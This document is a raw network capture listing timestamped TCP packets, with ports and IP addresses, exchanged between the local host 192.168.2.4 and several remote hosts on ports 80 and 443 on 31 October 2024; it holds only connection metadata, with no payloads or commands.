Oct 31, 2024 17:26:10.781769991 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.782541037 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.782553911 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.782565117 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.782576084 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.782588005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.782596111 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.782599926 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.782629967 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.783468962 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.783482075 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.783492088 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.783503056 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.783514977 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.783520937 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.783526897 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.783536911 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.783540010 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.783548117 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.783562899 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.783576965 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.784415960 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.784427881 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.784437895 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.784449100 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.784460068 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.784471035 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.784472942 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.784472942 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.784482002 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.784497976 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.784518957 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.785356998 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.785370111 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.785379887 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.785392046 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.785403013 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.785408974 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.785413980 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.785425901 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.785427094 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.785444021 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.785444021 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.785461903 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.786228895 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.786241055 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.786252022 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.786269903 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.786282063 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.786284924 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.786293983 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.786304951 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.786308050 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.786317110 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.786324978 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.786350965 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.786364079 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.786380053 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.787076950 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.787090063 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.787108898 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.787120104 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.787128925 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.787131071 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.787143946 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.787162066 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.787179947 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:12.795768023 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:12.795866013 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:12.828490973 CET	49731	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:12.828552961 CET	443	49731	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:12.828610897 CET	49731	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:12.828722000 CET	49732	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:12.828799009 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:12.828815937 CET	49733	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:12.828874111 CET	443	49733	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:12.828881979 CET	49732	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:12.828921080 CET	49733	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:12.830178976 CET	49731	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:12.830199957 CET	443	49731	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:12.830388069 CET	49732	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:12.830404043 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:12.830538988 CET	49733	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:12.830564022 CET	443	49733	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:12.910617113 CET	49737	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:12.910667896 CET	443	49737	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:12.910761118 CET	49737	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:12.910984993 CET	49737	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:12.911003113 CET	443	49737	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:13.692497015 CET	443	49733	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:13.692926884 CET	49733	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:13.692951918 CET	443	49733	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:13.694051027 CET	443	49733	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:13.694097996 CET	49733	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:13.697594881 CET	49733	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:13.697793961 CET	443	49733	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:13.699611902 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:13.701390982 CET	49733	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:13.701400042 CET	443	49733	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:13.701869965 CET	49732	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:13.701884985 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:13.702708960 CET	443	49731	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:13.702739000 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:13.702804089 CET	49732	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:13.704355001 CET	49731	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:13.704376936 CET	443	49731	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:13.704720020 CET	49732	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:13.704771042 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:13.705318928 CET	443	49731	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:13.705369949 CET	49731	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:13.705604076 CET	49732	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:13.705610991 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:13.707393885 CET	49731	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:13.707453012 CET	443	49731	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:13.707835913 CET	49731	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:13.707844973 CET	443	49731	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:13.747118950 CET	49733	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:13.747137070 CET	49731	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:13.747142076 CET	49732	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:13.791215897 CET	443	49737	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:13.791433096 CET	49737	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:13.791446924 CET	443	49737	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:13.792320967 CET	443	49737	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:13.792382956 CET	49737	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:13.792778969 CET	49737	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:13.792840958 CET	443	49737	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:13.792903900 CET	49737	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:13.792913914 CET	443	49737	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:13.835308075 CET	49737	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:13.970633030 CET	443	49733	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:13.988590956 CET	443	49731	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:13.988760948 CET	443	49731	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:13.988820076 CET	49731	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:13.988840103 CET	443	49731	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:13.988981009 CET	443	49731	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:13.989028931 CET	49731	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:13.989036083 CET	443	49731	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:13.989125967 CET	443	49731	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:13.989170074 CET	49731	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:13.989176035 CET	443	49731	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:13.997145891 CET	443	49731	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:13.997221947 CET	49731	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:13.997226000 CET	443	49731	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:13.997253895 CET	443	49731	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:13.997338057 CET	49731	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:13.999218941 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:13.999351978 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:13.999385118 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:13.999407053 CET	49732	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:13.999444962 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:13.999490976 CET	49732	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:13.999881983 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:13.999996901 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.000041962 CET	49732	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:14.000050068 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.005821943 CET	443	49731	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.008661985 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.008703947 CET	49732	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:14.008716106 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.009926081 CET	49731	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:14.009946108 CET	443	49731	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.010005951 CET	49731	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:14.011097908 CET	49733	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:14.011122942 CET	443	49733	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.018771887 CET	49733	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:14.018826962 CET	443	49733	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.018881083 CET	49733	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:14.069886923 CET	49732	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:14.069909096 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.095052958 CET	443	49737	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.116533995 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.116607904 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.116734028 CET	49732	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:14.116754055 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.130537987 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.132683992 CET	49732	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:14.132694006 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.136514902 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.137166023 CET	49732	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:14.137181997 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.144757032 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.145853996 CET	49732	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:14.145867109 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.147952080 CET	49737	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:14.147965908 CET	443	49737	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.149321079 CET	49737	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:14.149363041 CET	443	49737	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.149437904 CET	49737	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:14.154267073 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.154903889 CET	49732	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:14.154917955 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.163786888 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.163872957 CET	49732	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:14.163881063 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.173410892 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.173477888 CET	49732	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:14.173511982 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.181915045 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.182029009 CET	49732	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:14.182044983 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.190690041 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.191463947 CET	49732	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:14.191473961 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.233469009 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.233504057 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.233546019 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.233575106 CET	49732	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:14.233597040 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.233644009 CET	49732	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:14.233851910 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.233931065 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.233968019 CET	49732	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:14.233977079 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.236435890 CET	49732	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:14.247279882 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.247498035 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.248444080 CET	49732	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:14.248451948 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.262480021 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.262881994 CET	49732	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:14.262890100 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.265377998 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.265427113 CET	49732	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:14.265434027 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.272542953 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.273751974 CET	49732	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:14.273761034 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.279803991 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.279916048 CET	49732	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:14.279926062 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.286361933 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.286834955 CET	49732	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:14.286843061 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.293561935 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.293776035 CET	49732	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:14.293783903 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.299917936 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.300457001 CET	49732	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:14.300497055 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.306092024 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.306169987 CET	49732	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:14.306180000 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.313038111 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.313138008 CET	49732	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:14.313147068 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.319272041 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.319335938 CET	49732	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:14.319343090 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.325855970 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.325911999 CET	49732	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:14.325921059 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.332799911 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.332875013 CET	49732	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:14.332881927 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.339164019 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.339210987 CET	49732	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:14.339217901 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.350404978 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.352458000 CET	49732	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:14.352468967 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.352581024 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.352626085 CET	49732	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:14.352632999 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.358894110 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.358963013 CET	49732	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:14.358971119 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.365845919 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.365937948 CET	49732	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:14.365945101 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.372071981 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.372155905 CET	49732	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:14.372163057 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.378942966 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.380471945 CET	49732	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:14.380480051 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.384083033 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.384155989 CET	49732	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:14.384164095 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.393013954 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.396456957 CET	49732	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:14.396466017 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.397325993 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.397386074 CET	49732	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:14.397392988 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.403477907 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.404455900 CET	49732	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:14.404464006 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.410366058 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.410437107 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.410504103 CET	49732	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:14.410511971 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.412442923 CET	49732	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:14.416992903 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.423211098 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.423293114 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.423358917 CET	49732	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:14.423367977 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.424448967 CET	49732	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:14.429986954 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.430119038 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.430192947 CET	49732	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:14.430222034 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.436582088 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.440469027 CET	49732	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:14.440486908 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.443253040 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.443339109 CET	49732	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:14.443347931 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.451589108 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.452460051 CET	49732	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:14.452471018 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.456603050 CET	49732	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:14.456648111 CET	443	49732	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:14.456703901 CET	49732	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:15.885633945 CET	49672	443	192.168.2.4	173.222.162.32
Oct 31, 2024 17:26:15.885680914 CET	443	49672	173.222.162.32	192.168.2.4
Oct 31, 2024 17:26:16.399825096 CET	49745	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:16.399928093 CET	443	49745	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:16.400028944 CET	49745	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:16.400321960 CET	49745	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:16.400362015 CET	443	49745	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:16.420561075 CET	49746	443	192.168.2.4	20.12.23.50
Oct 31, 2024 17:26:16.420619965 CET	443	49746	20.12.23.50	192.168.2.4
Oct 31, 2024 17:26:16.420705080 CET	49746	443	192.168.2.4	20.12.23.50
Oct 31, 2024 17:26:16.422606945 CET	49746	443	192.168.2.4	20.12.23.50
Oct 31, 2024 17:26:16.422637939 CET	443	49746	20.12.23.50	192.168.2.4
Oct 31, 2024 17:26:16.949453115 CET	49748	443	192.168.2.4	142.250.186.46
Oct 31, 2024 17:26:16.949461937 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:16.949536085 CET	49748	443	192.168.2.4	142.250.186.46
Oct 31, 2024 17:26:16.949691057 CET	49748	443	192.168.2.4	142.250.186.46
Oct 31, 2024 17:26:16.949701071 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:17.248022079 CET	443	49745	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:17.248341084 CET	49745	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:17.248416901 CET	443	49745	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:17.252038956 CET	443	49745	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:17.252115965 CET	49745	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:17.252461910 CET	49745	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:17.252526999 CET	443	49745	142.250.185.196	192.168.2.4
Oct 31, 2024 17:26:17.304028034 CET	49745	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:17.304063082 CET	443	49745	142.250.185.196	192.168.2.4
